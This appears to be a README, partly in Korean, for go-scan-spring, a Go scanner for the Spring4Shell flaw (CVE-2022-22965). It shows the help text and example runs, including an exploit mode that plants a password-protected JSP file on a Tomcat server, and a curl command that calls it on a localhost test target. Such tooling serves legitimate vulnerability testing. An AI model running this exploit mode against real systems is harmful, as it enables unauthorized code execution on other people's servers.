fracturelabs/go-scan-springSpring4Shell(CVE-2022-22965) 취약점 스캐너
자세한 정보: https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/
[~/opt] $ git clone https://github.com/fracturelabs/go-scan-spring.git
[~/opt] $ cd go-scan-spring
[~/opt/go-scan-spring] $ go run main.go help scan
Run a scan against target URLs looking for vulnerable services
Usage:
go-scan-spring scan [flags]
Flags:
-f, --file string Target URL filename (- for stdin)
--follow-redirect Follow redirects
-h, --help help for scan
--http-get Test using HTTP GET requests (must set =false to disable) (default true)
--http-post Test using HTTP POST requests (must set =false to disable) (default true)
--identifier string Unique scan identifier (used as a password and an exploit filename) (default "go-scan-spring")
-x, --proxy string Upstream proxy
--run-baseline Run a baseline test to see if endpoint is up
--run-exploit Run an exploit to retrieve the owner of the Tomcat process
--run-safe Run a safe test to see if endpoint is vulnerable
-s, --sleep int Time to sleep between exploit steps. This is needed to allow time for deployment. (default 10)
-t, --threads int Number of threads (default 5)
Global Flags:
--debug enable debug logging
[~/opt/go-scan-spring] $ go run main.go scan --run-safe -f urls.txt
고유한 identifier 매개변수를 사용하세요!
# HTTP GET 및 POST 사용
[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit
# HTTP GET만 사용
[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit --http-post=false
# HTTP POST만 사용
[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit --http-get=false
의도적으로 취약하게 만든 시스템(예: spring4shell_victim)을 대상으로 테스트하여 스크립트가 제대로 작동하는지 확인할 수 있습니다.
[~] $ curl --output - 'http://localhost:8080/go-scan-spring/550bafe0-0c6c-4f3e-a46b-0901c28e690b-AD.jsp?pwd=550bafe0-0c6c-4f3e-a46b-0901c28e690b'